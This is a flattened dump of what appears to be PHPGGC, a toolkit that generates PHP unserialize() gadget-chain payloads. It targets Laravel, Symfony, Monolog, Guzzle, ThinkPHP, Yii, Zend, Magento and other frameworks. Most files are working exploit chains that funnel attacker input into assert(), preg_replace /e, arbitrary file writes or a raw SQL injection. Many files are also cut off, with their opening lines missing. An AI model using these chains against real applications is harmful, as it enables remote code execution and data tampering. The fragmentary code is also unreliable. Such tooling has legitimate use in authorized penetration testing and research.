├── .gitignore ├── phpinfo.php ├── templates ├── gadgets.php └── chain.php ├── lib ├── PHPGGC │ ├── Exception.php │ ├── GadgetChain │ │ ├── RCE.php │ │ ├── FileRead.php │ │ ├── SqlInjection.php │ │ ├── FileDelete.php │ │ └── FileWrite.php │ └── GadgetChain.php ├── opis │ └── closure │ │ ├── NOTICE │ │ ├── src │ │ ├── SecurityException.php │ │ ├── ISecurityProvider.php │ │ ├── ClosureScope.php │ │ ├── SelfReference.php │ │ ├── ClosureContext.php │ │ ├── SecurityProvider.php │ │ ├── Analyzer.php │ │ ├── ClosureStream.php │ │ ├── SerializableClosure.php │ │ └── ReflectionClosure.php │ │ ├── functions.php │ │ ├── LICENSE │ │ ├── autoload.php │ │ ├── composer.json │ │ ├── README.md │ │ └── CHANGELOG.md └── PHPGGC.php ├── phpggc ├── gadgetchains ├── ThinkPHP │ ├── FD │ │ └── 1 │ │ │ ├── gadgets.php │ │ │ └── chain.php │ ├── RCE │ │ ├── 1 │ │ │ ├── chain.php │ │ │ └── gadgets.php │ │ └── 2 │ │ │ ├── chain.php │ │ │ └── gadgets.php │ └── FW │ │ └── 1 │ │ ├── chain.php │ │ └── gadgets.php ├── Slim │ └── RCE │ │ └── 1 │ │ ├── chain.php │ │ └── gadgets.php ├── Guzzle │ ├── FW │ │ └── 1 │ │ │ ├── chain.php │ │ │ └── gadgets.php │ └── RCE │ │ └── 1 │ │ ├── chain.php │ │ └── gadgets.php ├── Symfony │ ├── RCE │ │ ├── 1 │ │ │ ├── chain.php │ │ │ └── gadgets.php │ │ ├── 2 │ │ │ ├── chain.php │ │ │ └── gadgets.php │ │ └── 3 │ │ │ ├── chain.php │ │ │ └── gadgets.php │ └── FW │ │ └── 1 │ │ ├── chain.php │ │ └── gadgets.php ├── Laravel │ └── RCE │ │ ├── 1 │ │ ├── chain.php │ │ └── gadgets.php │ │ ├── 2 │ │ ├── chain.php │ │ └── gadgets.php │ │ ├── 3 │ │ ├── chain.php │ │ └── gadgets.php │ │ └── 4 │ │ ├── chain.php │ │ └── gadgets.php ├── Monolog │ └── RCE │ │ ├── 1 │ │ ├── chain.php │ │ └── gadgets.php │ │ └── 2 │ │ ├── chain.php │ │ └── gadgets.php ├── Magento │ └── SQLI │ │ └── 1 │ │ ├── chain.php │ │ └── gadgets.php ├── Phalcon │ └── RCE │ │ └── 1 │ │ ├── chain.php │ │ └── gadgets.php ├── Yii │ └── RCE │ │ └── 1 │ │ ├── gadgets.php │ │ └── chain.php ├── SwiftMailer │ └── FW │ │ ├── 1 │ │ ├── chain.php │ │ └── gadgets.php │ │ ├── 2 │ │ ├── chain.php │ │ └── gadgets.php │ │ └── 3 │ │ ├── chain.php │ │ └── gadgets.php ├── ZendFramework │ └── RCE │ │ └── 1 │ │ ├── chain.php │ │ └── gadgets.php └── Doctrine │ └── FW │ └── 1 │ ├── chain.php │ └── gadgets.php └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | .idea/* 2 | .DS_Store -------------------------------------------------------------------------------- /phpinfo.php: -------------------------------------------------------------------------------- 1 | ?>' 2 | -------------------------------------------------------------------------------- /templates/gadgets.php: -------------------------------------------------------------------------------- 1 | generate(); 12 | } 13 | catch(\PHPGGC\Exception $e) 14 | { 15 | print("ERROR: " . $e->getMessage() . "\n"); 16 | } 17 | -------------------------------------------------------------------------------- /lib/opis/closure/NOTICE: -------------------------------------------------------------------------------- 1 | Opis Closure 2 | Copyright 2018-2019 Zindex Software 3 | 4 | This product includes software developed at 5 | Zindex Software (http://zindex.software). 6 | 7 | This software was originally developed by Marius Sarca and Sorin Sarca 8 | (Copyright 2014-2018). The copyright info was changed with the permission 9 | of the original authors. -------------------------------------------------------------------------------- /lib/PHPGGC/GadgetChain/FileDelete.php: -------------------------------------------------------------------------------- 1 | files = array($files); 18 | } 19 | } 20 | } -------------------------------------------------------------------------------- /gadgetchains/Slim/RCE/1/chain.php: -------------------------------------------------------------------------------- 1 | events = $events; 13 | $this->event = $cmd; 14 | } 15 | } 16 | } 17 | 18 | 19 | namespace Faker 20 | { 21 | class Generator 22 | { 23 | protected $formatters = [ 24 | 'dispatch' => 'assert' 25 | ]; 26 | } 27 | } -------------------------------------------------------------------------------- /gadgetchains/Monolog/RCE/1/chain.php: -------------------------------------------------------------------------------- 1 | null] 19 | ) 20 | ); 21 | } 22 | } -------------------------------------------------------------------------------- /gadgetchains/Monolog/RCE/2/chain.php: -------------------------------------------------------------------------------- 1 | null] 19 | ) 20 | ); 21 | } 22 | } -------------------------------------------------------------------------------- /gadgetchains/Laravel/RCE/3/chain.php: -------------------------------------------------------------------------------- 1 | [ 19 | new \GuzzleHttp\HandlerStack($code), 20 | 'resolve' 21 | ] 22 | ]); 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /gadgetchains/Laravel/RCE/4/gadgets.php: -------------------------------------------------------------------------------- 1 | events = $events; 13 | $this->event = $event; 14 | } 15 | } 16 | } 17 | 18 | 19 | namespace Illuminate\Validation 20 | { 21 | class Validator 22 | { 23 | public $extensions; 24 | 25 | function __construct() 26 | { 27 | $this->extensions = ['' => 'assert']; 28 | } 29 | } 30 | } -------------------------------------------------------------------------------- /gadgetchains/Magento/SQLI/1/chain.php: -------------------------------------------------------------------------------- 1 | events = $events; 13 | $this->event = $cmd; 14 | } 15 | } 16 | } 17 | 18 | 19 | namespace Illuminate\Events 20 | { 21 | class Dispatcher 22 | { 23 | protected $listeners; 24 | 25 | function __construct($cmd) 26 | { 27 | $this->listeners = [ 28 | $cmd => ['assert'] 29 | ]; 30 | } 31 | } 32 | } -------------------------------------------------------------------------------- /gadgetchains/ThinkPHP/FD/1/chain.php: -------------------------------------------------------------------------------- 1 | events = $events; 12 | } 13 | } 14 | } 15 | 16 | 17 | namespace Illuminate\Notifications 18 | { 19 | class ChannelManager 20 | { 21 | protected $app; 22 | protected $defaultChannel; 23 | protected $customCreators; 24 | 25 | function __construct($cmd) 26 | { 27 | $this->app = $cmd; 28 | $this->customCreators = ['x' => 'assert']; 29 | $this->defaultChannel = 'x'; 30 | } 31 | } 32 | } -------------------------------------------------------------------------------- /lib/opis/closure/src/SelfReference.php: -------------------------------------------------------------------------------- 1 | hash = $hash; 30 | } 31 | } -------------------------------------------------------------------------------- /gadgetchains/Symfony/RCE/2/chain.php: -------------------------------------------------------------------------------- 1 | )'; 11 | 12 | public function generate(array $parameters) 13 | { 14 | $code = $parameters['code']; 15 | 16 | return new \Symfony\Component\Process\ProcessPipes( 17 | new \Symfony\Component\Finder\Expression\Expression( 18 | new \Symfony\Component\Templating\PhpEngine( 19 | new \Symfony\Component\Templating\Storage\StringStorage( 20 | $code 21 | )))); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /lib/opis/closure/src/ClosureContext.php: -------------------------------------------------------------------------------- 1 | scope = new ClosureScope(); 32 | $this->locks = 0; 33 | } 34 | } -------------------------------------------------------------------------------- /gadgetchains/Symfony/RCE/3/chain.php: -------------------------------------------------------------------------------- 1 | )'; 11 | 12 | public function generate(array $parameters) 13 | { 14 | $code = $parameters['code']; 15 | 16 | return new \Symfony\Component\Process\Pipes\WindowsPipes( 17 | new \Symfony\Component\Finder\Expression\Expression( 18 | new \Symfony\Component\Templating\PhpEngine( 19 | new \Symfony\Component\Templating\Storage\StringStorage( 20 | $code 21 | )))); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /gadgetchains/Yii/RCE/1/gadgets.php: -------------------------------------------------------------------------------- 1 | params = $params; 10 | } 11 | } 12 | 13 | class CList 14 | { 15 | /** 16 | * @var array internal data storage 17 | */ 18 | private $_d; 19 | 20 | function __construct($_d) 21 | { 22 | $this->_d = $_d; 23 | } 24 | } 25 | 26 | class CFileCache 27 | { 28 | public $keyPrefix = ''; 29 | public $hashKey = false; 30 | public $serializer = [1 => 'assert']; 31 | 32 | public $cachePath = 'data:text/'; 33 | public $directoryLevel = 0; 34 | public $embedExpiry = true; 35 | public $cacheFileSuffix; 36 | 37 | function __construct($cacheFileSuffix) 38 | { 39 | $this->cacheFileSuffix = ';base64,' . $cacheFileSuffix; 40 | } 41 | } -------------------------------------------------------------------------------- /gadgetchains/Yii/RCE/1/chain.php: -------------------------------------------------------------------------------- 1 | deferred = $code; 36 | $this->namespace = []; 37 | } 38 | } 39 | 40 | class ApcuAdapter extends AbstractAdapter 41 | { 42 | } 43 | } -------------------------------------------------------------------------------- /gadgetchains/ThinkPHP/RCE/1/chain.php: -------------------------------------------------------------------------------- 1 | socket = $x; 12 | } 13 | } 14 | 15 | class BufferHandler 16 | { 17 | protected $handler; 18 | protected $bufferSize = -1; 19 | protected $buffer; 20 | # ($record['level'] < $this->level) == false 21 | protected $level = null; 22 | protected $initialized = true; 23 | # ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false 24 | protected $bufferLimit = -1; 25 | protected $processors; 26 | 27 | function __construct($methods, $command) 28 | { 29 | $this->processors = $methods; 30 | $this->buffer = [$command]; 31 | $this->handler = clone $this; 32 | } 33 | } 34 | } -------------------------------------------------------------------------------- /gadgetchains/Guzzle/FW/1/gadgets.php: -------------------------------------------------------------------------------- 1 | data = [ 12 | 'Expires' => 1, 13 | 'Discard' => false, 14 | 'Value' => $data 15 | ]; 16 | } 17 | } 18 | 19 | class CookieJar 20 | { 21 | private $cookies = []; 22 | private $strictMode; 23 | 24 | public function __construct($data) 25 | { 26 | $this->cookies = [new SetCookie($data)]; 27 | } 28 | } 29 | 30 | class FileCookieJar extends CookieJar 31 | { 32 | private $filename; 33 | private $storeSessionCookies = true; 34 | 35 | public function __construct($filename, $data) 36 | { 37 | parent::__construct($data); 38 | $this->filename = $filename; 39 | } 40 | } 41 | } -------------------------------------------------------------------------------- /lib/opis/closure/functions.php: -------------------------------------------------------------------------------- 1 | socket = $x; 13 | } 14 | } 15 | 16 | class BufferHandler 17 | { 18 | protected $handler; 19 | protected $bufferSize = -1; 20 | protected $buffer; 21 | # ($record['level'] < $this->level) == false 22 | protected $level = null; 23 | protected $initialized = true; 24 | # ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false 25 | protected $bufferLimit = -1; 26 | protected $processors; 27 | 28 | function __construct($methods, $command) 29 | { 30 | $this->processors = $methods; 31 | $this->buffer = [$command]; 32 | $this->handler = clone $this; 33 | } 34 | } 35 | } -------------------------------------------------------------------------------- /gadgetchains/Symfony/RCE/2/gadgets.php: -------------------------------------------------------------------------------- 1 | template = ''; 8 | } 9 | } 10 | } 11 | 12 | namespace Symfony\Component\Templating{ 13 | class TemplateNameParser{} 14 | class TemplateReference{} 15 | class PhpEngine{ 16 | protected $parser; 17 | protected $cache; 18 | protected $current; 19 | protected $globals = array(); 20 | public function __construct($s){ 21 | $this->parser = new TemplateNameParser; 22 | $this->current = new TemplateReference; 23 | $this->cache = array(NULL=>$s); 24 | } 25 | } 26 | } 27 | 28 | namespace Symfony\Component\Finder\Expression{ 29 | class Expression{ 30 | private $value; 31 | public function __construct($p){ 32 | $this->value = $p; 33 | } 34 | } 35 | } 36 | 37 | namespace Symfony\Component\Process{ 38 | class ProcessPipes{ 39 | private $files = array(); 40 | public function __construct($e){ 41 | $this->files = array($e); 42 | } 43 | } 44 | } 45 | 46 | ?> 47 | -------------------------------------------------------------------------------- /gadgetchains/Symfony/RCE/3/gadgets.php: -------------------------------------------------------------------------------- 1 | template = ''; 8 | } 9 | } 10 | } 11 | 12 | namespace Symfony\Component\Templating{ 13 | class TemplateNameParser{} 14 | class TemplateReference{} 15 | class PhpEngine{ 16 | protected $parser; 17 | protected $cache; 18 | protected $current; 19 | protected $globals = array(); 20 | public function __construct($s){ 21 | $this->parser = new TemplateNameParser; 22 | $this->current = new TemplateReference; 23 | $this->cache = array(NULL=>$s); 24 | } 25 | } 26 | } 27 | 28 | namespace Symfony\Component\Finder\Expression{ 29 | class Expression{ 30 | private $value; 31 | public function __construct($p){ 32 | $this->value = $p; 33 | } 34 | } 35 | } 36 | 37 | namespace Symfony\Component\Process\Pipes{ 38 | class WindowsPipes{ 39 | private $files = array(); 40 | public function __construct($e){ 41 | $this->files = array($e); 42 | } 43 | } 44 | } 45 | 46 | ?> 47 | -------------------------------------------------------------------------------- /gadgetchains/SwiftMailer/FW/1/chain.php: -------------------------------------------------------------------------------- 1 | secret = $secret; 22 | } 23 | 24 | /** 25 | * @inheritdoc 26 | */ 27 | public function sign($closure) 28 | { 29 | return array( 30 | 'closure' => $closure, 31 | 'hash' => base64_encode(hash_hmac('sha256', $closure, $this->secret, true)), 32 | ); 33 | } 34 | 35 | /** 36 | * @inheritdoc 37 | */ 38 | public function verify(array $data) 39 | { 40 | return base64_encode(hash_hmac('sha256', $data['closure'], $this->secret, true)) === $data['hash']; 41 | } 42 | } -------------------------------------------------------------------------------- /gadgetchains/Slim/RCE/1/gadgets.php: -------------------------------------------------------------------------------- 1 | keys = $this->raw = $this->values = $array; 14 | } 15 | } 16 | } 17 | 18 | namespace Slim 19 | { 20 | class App 21 | { 22 | private $container; 23 | 24 | function __construct($container) 25 | { 26 | $this->container = $container; 27 | } 28 | } 29 | 30 | class Container extends \Pimple\Container 31 | { 32 | 33 | } 34 | } 35 | 36 | namespace Slim\Http 37 | { 38 | use \Slim\App; 39 | use \Slim\Container; 40 | 41 | abstract class Message 42 | { 43 | protected $headers; 44 | protected $body = ''; 45 | 46 | function __construct($code) 47 | { 48 | $z = new App(new Container(['has' => 'assert'])); 49 | $y = new App($z); 50 | $this->headers = new App(new Container(['all' => [$y, $code]])); 51 | } 52 | } 53 | 54 | class Response extends Message 55 | { 56 | 57 | } 58 | } -------------------------------------------------------------------------------- /gadgetchains/ZendFramework/RCE/1/chain.php: -------------------------------------------------------------------------------- 1 | = 7.0.0 14 | - Payload gets executed twice 15 | '; 16 | 17 | public function generate(array $parameters) 18 | { 19 | $code = $parameters['code']; 20 | 21 | return new \Zend_Log( 22 | [new \Zend_Log_Writer_Mail( 23 | [1], 24 | [], 25 | new \Zend_Mail, 26 | new \Zend_Layout( 27 | new \Zend_Filter_PregReplace( 28 | "/(.*)/e", 29 | $code 30 | ), 31 | true, 32 | "layout" 33 | ) 34 | )] 35 | ); 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /lib/opis/closure/composer.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "opis/closure", 3 | "description": "A library that can be used to serialize closures (anonymous functions) and arbitrary objects.", 4 | "keywords": ["closure", "serialization", "function", "serializable", "serialize", "anonymous functions"], 5 | "homepage": "https://opis.io/closure", 6 | "license": "MIT", 7 | "authors": [ 8 | { 9 | "name": "Marius Sarca", 10 | "email": "marius.sarca@gmail.com" 11 | }, 12 | { 13 | "name": "Sorin Sarca", 14 | "email": "sarca_sorin@hotmail.com" 15 | } 16 | ], 17 | "require": { 18 | "php": "^5.4 || ^7.0" 19 | }, 20 | "require-dev": { 21 | "jeremeamia/superclosure": "^2.0", 22 | "phpunit/phpunit": "^4.0 || ^5.0 || ^6.0 || ^7.0" 23 | }, 24 | "autoload": { 25 | "psr-4": { 26 | "Opis\\Closure\\": "src/" 27 | }, 28 | "files": ["functions.php"] 29 | }, 30 | "autoload-dev": { 31 | "psr-4": { 32 | "Opis\\Closure\\Test\\": "tests/" 33 | } 34 | }, 35 | "extra": { 36 | "branch-alias": { 37 | "dev-master": "3.3.x-dev" 38 | } 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /gadgetchains/Magento/SQLI/1/gadgets.php: -------------------------------------------------------------------------------- 1 | connected = true; 11 | $this->redis = $redis; 12 | } 13 | } 14 | 15 | class Mage_Sales_Model_Order_Payment_Transaction 16 | { 17 | protected $_isFailsafe; 18 | protected $_paymentObject; 19 | protected $_data; 20 | protected $_resourceName; 21 | protected $_idFieldName; 22 | 23 | public function __construct($sql) 24 | { 25 | $this->_isFailsafe = true; 26 | $this->_paymentObject = new Mage_Sales_Model_Order_Payment; 27 | $this->_data = [ 28 | 'order_id' => 1, 29 | 'store_id' => new Zend_Db_Expr("1); " . $sql . ';--') 30 | ]; 31 | $this->_resourceName = 'log/log'; 32 | $this->_idFieldName = 'id'; 33 | } 34 | } 35 | 36 | class Zend_Db_Expr 37 | { 38 | protected $_expression; 39 | 40 | public function __construct($expression) 41 | { 42 | $this->_expression = $expression; 43 | } 44 | } 45 | 46 | class Mage_Sales_Model_Order_Payment 47 | { 48 | protected $_idFieldName; 49 | 50 | public function __construct() 51 | { 52 | $this->_idFieldName = 'id'; 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /gadgetchains/ThinkPHP/RCE/1/gadgets.php: -------------------------------------------------------------------------------- 1 | files = $files; 16 | } 17 | } 18 | } 19 | 20 | namespace think\model\concern { 21 | trait Conversion{ 22 | protected $visible; 23 | } 24 | 25 | trait RelationShip{ 26 | private $relation; 27 | } 28 | 29 | trait Attribute{ 30 | private $withAttr; 31 | private $data; 32 | } 33 | } 34 | 35 | namespace think { 36 | abstract class Model{ 37 | use model\concern\RelationShip; 38 | use model\concern\Conversion; 39 | use model\concern\Attribute; 40 | 41 | function __construct($closure) 42 | { 43 | $this->data = array("wh1t3p1g"=>[]); 44 | $this->relation = array("wh1t3p1g"=>[]); 45 | $this->visible= array("wh1t3p1g"=>[]); 46 | $this->withAttr = array("wh1t3p1g"=>$closure); 47 | } 48 | } 49 | } 50 | 51 | namespace think\model { 52 | class Pivot extends \think\Model{ 53 | function __construct($closure) 54 | { 55 | parent::__construct($closure); 56 | } 57 | } 58 | } -------------------------------------------------------------------------------- /gadgetchains/ThinkPHP/FW/1/chain.php: -------------------------------------------------------------------------------- 1 | "test"),$query); 35 | $pivot = new \think\model\Pivot($output, $relation); 36 | return new \think\process\pipes\Windows($pivot); 37 | } 38 | } -------------------------------------------------------------------------------- /gadgetchains/ZendFramework/RCE/1/gadgets.php: -------------------------------------------------------------------------------- 1 | _writers = $x; 10 | } 11 | } 12 | 13 | class Zend_Log_Writer_Mail 14 | { 15 | protected $_eventsToMail; 16 | protected $_layoutEventsToMail; 17 | protected $_mail; 18 | protected $_layout; 19 | protected $_subjectPrependText; 20 | 21 | public function __construct( 22 | $eventsToMail, 23 | $layoutEventsToMail, 24 | $mail, 25 | $layout 26 | ) { 27 | $this->_eventsToMail = $eventsToMail; 28 | $this->_layoutEventsToMail = $layoutEventsToMail; 29 | $this->_mail = $mail; 30 | $this->_layout = $layout; 31 | $this->_subjectPrependText = null; 32 | } 33 | } 34 | 35 | class Zend_Mail 36 | {} 37 | 38 | class Zend_Layout 39 | { 40 | protected $_inflector; 41 | protected $_inflectorEnabled; 42 | protected $_layout; 43 | 44 | public function __construct( 45 | $inflector, 46 | $inflectorEnabled, 47 | $layout 48 | ) { 49 | $this->_inflector = $inflector; 50 | $this->_inflectorEnabled = $inflectorEnabled; 51 | $this->_layout = $layout; 52 | } 53 | } 54 | 55 | class Zend_Filter_PregReplace 56 | { 57 | protected $_matchPattern; 58 | protected $_replacement; 59 | 60 | public function __construct( 61 | $matchPattern, 62 | $replacement 63 | ) { 64 | $this->_matchPattern = $matchPattern; 65 | $this->_replacement = $replacement; 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /gadgetchains/Guzzle/RCE/1/gadgets.php: -------------------------------------------------------------------------------- 1 | methods = $methods; 17 | 18 | foreach ($methods as $name => $fn) { 19 | $this->{'_fn_' . $name} = $fn; 20 | } 21 | } 22 | 23 | /* 24 | public function __destruct() 25 | { 26 | if (isset($this->_fn_close)) { 27 | call_user_func($this->_fn_close); 28 | } 29 | } 30 | 31 | public function close() 32 | { 33 | return call_user_func($this->_fn_close); 34 | } 35 | */ 36 | } 37 | } 38 | 39 | namespace GuzzleHttp 40 | { 41 | class HandlerStack 42 | { 43 | private $handler; 44 | private $stack = [['assert']]; 45 | private $cached = false; 46 | 47 | function __construct($handler) 48 | { 49 | $this->handler = $handler; 50 | } 51 | 52 | /* 53 | public function resolve() 54 | { 55 | if (!$this->cached) { 56 | if (!($prev = $this->handler)) { 57 | throw new \LogicException('No handler has been specified'); 58 | } 59 | 60 | foreach (array_reverse($this->stack) as $fn) { 61 | $prev = $fn[0]($prev); 62 | } 63 | 64 | $this->cached = $prev; 65 | } 66 | 67 | return $this->cached; 68 | } 69 | */ 70 | } 71 | } -------------------------------------------------------------------------------- /lib/opis/closure/src/Analyzer.php: -------------------------------------------------------------------------------- 1 | getClosureScopeClass(); 26 | 27 | $data = [ 28 | 'reflection' => $reflection, 29 | 'code' => $reflection->getCode(), 30 | 'hasThis' => $reflection->isBindingRequired(), 31 | 'context' => $reflection->getUseVariables(), 32 | 'hasRefs' => false, 33 | 'binding' => $reflection->getClosureThis(), 34 | 'scope' => $scope ? $scope->getName() : null, 35 | 'isStatic' => $reflection->isStatic(), 36 | ]; 37 | 38 | return $data; 39 | } 40 | 41 | /** 42 | * @param array $data 43 | * @return mixed 44 | */ 45 | protected function determineCode(array &$data) 46 | { 47 | return null; 48 | } 49 | 50 | /** 51 | * @param array $data 52 | * @return mixed 53 | */ 54 | protected function determineContext(array &$data) 55 | { 56 | return null; 57 | } 58 | 59 | } 60 | -------------------------------------------------------------------------------- /gadgetchains/Phalcon/RCE/1/gadgets.php: -------------------------------------------------------------------------------- 1 | _shared = false; 10 | $this->_definition = array( 11 | 'className' => '\Phalcon\Mvc\View\Engine\Php', 12 | 'arguments' => array(array('type' => 'parameter', 'value' => 'test')), 13 | 'calls' => array( 14 | array( 15 | 'method' => 'render', 16 | 'arguments' => array( 17 | array( 18 | 'type' => 'parameter', 19 | 'value' => 'php://input' 20 | ), array( 21 | 'type' => 'parameter', 22 | 'value' => array() 23 | ) 24 | ) 25 | ) 26 | ) 27 | ); 28 | } 29 | } 30 | } 31 | 32 | namespace Phalcon { 33 | class Di { 34 | protected $_services; 35 | 36 | public function __construct() { 37 | $this->_services = array('session' => new \Phalcon\Di\Service()); 38 | } 39 | } 40 | } 41 | 42 | namespace Phalcon\Http { 43 | class Cookie { 44 | protected $_dependencyInjector; 45 | protected $_name = "test"; 46 | protected $_expire = 0; 47 | protected $_httpOnly = 1; 48 | protected $_readed = true; 49 | protected $_restored = false; 50 | 51 | public function __construct() { 52 | $this->_dependencyInjector = new \Phalcon\Di(); 53 | } 54 | } 55 | } 56 | 57 | namespace Phalcon\Logger\Adapter { 58 | class File { 59 | protected $_transaction; 60 | protected $_queue; 61 | protected $_formatter; 62 | protected $_logLevel; 63 | protected $_fileHandler; 64 | protected $_path; 65 | protected $_options; 66 | 67 | function __construct() { 68 | $this->_path = new \Phalcon\Http\Cookie("test"); 69 | } 70 | } 71 | } 72 | 73 | ?> 74 | -------------------------------------------------------------------------------- /gadgetchains/ThinkPHP/RCE/2/gadgets.php: -------------------------------------------------------------------------------- 1 | data = array("wh1t3p1g"=>[]); 48 | $this->relation = array("wh1t3p1g"=>[]); 49 | $this->visible= array("wh1t3p1g"=>[]); 50 | $this->withAttr = array("wh1t3p1g"=>$closure); 51 | }else{ 52 | $this->lazySave = true; 53 | $this->withEvent = false; 54 | $this->exists = true; 55 | $this->force = true; 56 | $this->data = array("wh1t3p1g"=>[]); 57 | $this->connection = "mysql"; 58 | $this->suffix = $obj; 59 | } 60 | 61 | } 62 | } 63 | 64 | } 65 | 66 | namespace think\model { 67 | class Pivot extends \think\Model{ 68 | 69 | function __construct($obj, $closure) 70 | { 71 | parent::__construct($obj, $closure); 72 | } 73 | } 74 | } -------------------------------------------------------------------------------- /gadgetchains/Symfony/FW/1/gadgets.php: -------------------------------------------------------------------------------- 1 | token = uniqid(); 19 | $this->ip = new \Symfony\Component\Finder\Expression\Expression( 20 | $path, $content 21 | ); 22 | } 23 | } 24 | } 25 | 26 | namespace Symfony\Component\Finder\Expression 27 | { 28 | class Expression 29 | { 30 | private $value; 31 | 32 | function __construct($path, $content) 33 | { 34 | $this->value = new \Symfony\Component\Console\Helper\Table( 35 | $path, $content 36 | ); 37 | } 38 | } 39 | } 40 | 41 | namespace Symfony\Component\Console\Helper 42 | { 43 | class Table 44 | { 45 | private $headers = ['a']; 46 | private $rows = []; 47 | private $columnWidths = [100]; 48 | private $numberOfColumns; 49 | private $output; 50 | private $style; 51 | private static $styles; 52 | 53 | function __construct($path, $content) 54 | { 55 | $this->output = new \Symfony\Component\Config\ConfigCache($path); 56 | $this->style = new TableStyle($content); 57 | } 58 | } 59 | 60 | class TableStyle 61 | { 62 | private $paddingChar = ' '; 63 | private $horizontalBorderChar = ''; 64 | private $verticalBorderChar; 65 | private $crossingChar = ''; 66 | private $cellHeaderFormat = '%s'; 67 | private $cellRowFormat = '%s'; 68 | private $cellRowContentFormat = ' %s '; 69 | private $borderFormat = '%s'; 70 | private $padType = STR_PAD_RIGHT; 71 | 72 | function __construct($verticalBorderChar) 73 | { 74 | $this->verticalBorderChar = $verticalBorderChar; 75 | } 76 | } 77 | } 78 | 79 | namespace Symfony\Component\Config 80 | { 81 | class ConfigCache 82 | { 83 | private $debug; 84 | private $file; 85 | 86 | function __construct($file) 87 | { 88 | $this->file = $file; 89 | } 90 | } 91 | } 92 | -------------------------------------------------------------------------------- /lib/PHPGGC/GadgetChain.php: -------------------------------------------------------------------------------- 1 | $this->get_name(), 28 | 'Version' => $this->version, 29 | 'Type' => self::$type, 30 | 'Vector' => $this->vector 31 | ]; 32 | 33 | $strings = []; 34 | 35 | if($this->informations) 36 | { 37 | $informations = trim($this->informations); 38 | $informations = preg_replace("#\n\s+#", "\n", $informations); 39 | $infos['Informations'] = "\n" . $informations; 40 | } 41 | 42 | foreach($infos as $k => $v) 43 | { 44 | $strings[] = str_pad($k, 15) . ': ' . $v; 45 | } 46 | 47 | return implode("\n", $strings); 48 | } 49 | 50 | public function get_name() 51 | { 52 | $class = get_class($this); 53 | $class = substr($class, strpos($class, '\\') + 1); 54 | $class = str_replace('\\', '/', $class); 55 | return $class; 56 | } 57 | 58 | public function load_gadgets() 59 | { 60 | $file = dirname((new \ReflectionClass($this))->getFileName()); 61 | require $file . '/gadgets.php'; 62 | } 63 | 64 | /** 65 | * Modifies given parameters if required. 66 | */ 67 | public function pre_process(array $parameters) 68 | { 69 | return $parameters; 70 | } 71 | 72 | abstract public function generate(array $parameters); 73 | 74 | /** 75 | * Changes some values in the unserialize payload. 76 | * For instance, if a class is meant to be named A\B\C but has been named 77 | * A_B_C in the gadget for convenience, it can be str_replace()d here. 78 | */ 79 | public function post_process($payload) 80 | { 81 | return $payload; 82 | } 83 | } 84 | -------------------------------------------------------------------------------- /lib/opis/closure/src/ClosureStream.php: -------------------------------------------------------------------------------- 1 | content = "length = strlen($this->content); 29 | return true; 30 | } 31 | 32 | public function stream_read($count) 33 | { 34 | $value = substr($this->content, $this->pointer, $count); 35 | $this->pointer += $count; 36 | return $value; 37 | } 38 | 39 | public function stream_eof() 40 | { 41 | return $this->pointer >= $this->length; 42 | } 43 | 44 | public function stream_stat() 45 | { 46 | $stat = stat(__FILE__); 47 | $stat[7] = $stat['size'] = $this->length; 48 | return $stat; 49 | } 50 | 51 | public function url_stat($path, $flags) 52 | { 53 | $stat = stat(__FILE__); 54 | $stat[7] = $stat['size'] = $this->length; 55 | return $stat; 56 | } 57 | 58 | public function stream_seek($offset, $whence = SEEK_SET) 59 | { 60 | $crt = $this->pointer; 61 | 62 | switch ($whence) { 63 | case SEEK_SET: 64 | $this->pointer = $offset; 65 | break; 66 | case SEEK_CUR: 67 | $this->pointer += $offset; 68 | break; 69 | case SEEK_END: 70 | $this->pointer = $this->length + $offset; 71 | break; 72 | } 73 | 74 | if ($this->pointer < 0 || $this->pointer >= $this->length) { 75 | $this->pointer = $crt; 76 | return false; 77 | } 78 | 79 | return true; 80 | } 81 | 82 | public function stream_tell() 83 | { 84 | return $this->pointer; 85 | } 86 | 87 | public static function register() 88 | { 89 | if (!static::$isRegistered) { 90 | static::$isRegistered = stream_wrapper_register(static::STREAM_PROTO, __CLASS__); 91 | } 92 | } 93 | 94 | } 95 | -------------------------------------------------------------------------------- /gadgetchains/Doctrine/FW/1/chain.php: -------------------------------------------------------------------------------- 1 | extension)) 35 | $parameters['extension'] = '.' . $infos->extension; 36 | else 37 | $parameters['extension'] = ''; 38 | 39 | $parameters['directory'] = $infos->dirname; 40 | $parameters['path'] = $infos->dirname . '/e3/5b737464436c61737324434c4153534d455441444154415d5b315d' . $parameters['extension']; 41 | return $parameters; 42 | } 43 | 44 | public function generate(array $parameters) 45 | { 46 | $c = new Configuration([ 47 | 48 | ]); 49 | $table = (object) [ 50 | 'name' => $parameters['data'], 51 | 'schema' => '', 52 | 'indexes' => null, 53 | 'uniqueConstraints' => null, 54 | 'options' => null 55 | ]; 56 | $em0 = new EntityManager(null, $c); 57 | $d0 = new AnnotationDriver(new CachedReader([ 58 | 'stdClass' => 59 | [ 60 | 'Doctrine\ORM\Mapping\Embeddable' => true, 61 | 'Doctrine\ORM\Mapping\Table' => $table 62 | ] 63 | ])); 64 | $fc = new FilesystemCache($parameters['directory'], $parameters['extension']); 65 | $mf = new ClassMetadataFactory($fc, $em0, $d0); 66 | $em = new EntityManager($mf, null); 67 | $writer = new ResultSetMappingBuilder($em); 68 | 69 | return $writer; 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /gadgetchains/SwiftMailer/FW/2/gadgets.php: -------------------------------------------------------------------------------- 1 | encoder = new Swift_Mime_HeaderEncoder_Base64HeaderEncoder(); 20 | $this->paramEncoder = new Swift_Mime_HeaderEncoder_Base64HeaderEncoder(); 21 | $this->grammar = new Swift_Mime_Grammar(); 22 | } 23 | } 24 | 25 | class Swift_Mime_SimpleHeaderSet 26 | { 27 | private $factory; 28 | 29 | function __construct() 30 | { 31 | $this->factory = new Swift_Mime_SimpleHeaderFactory(); 32 | } 33 | } 34 | 35 | class Swift_Mime_ContentEncoder_RawContentEncoder 36 | { 37 | 38 | } 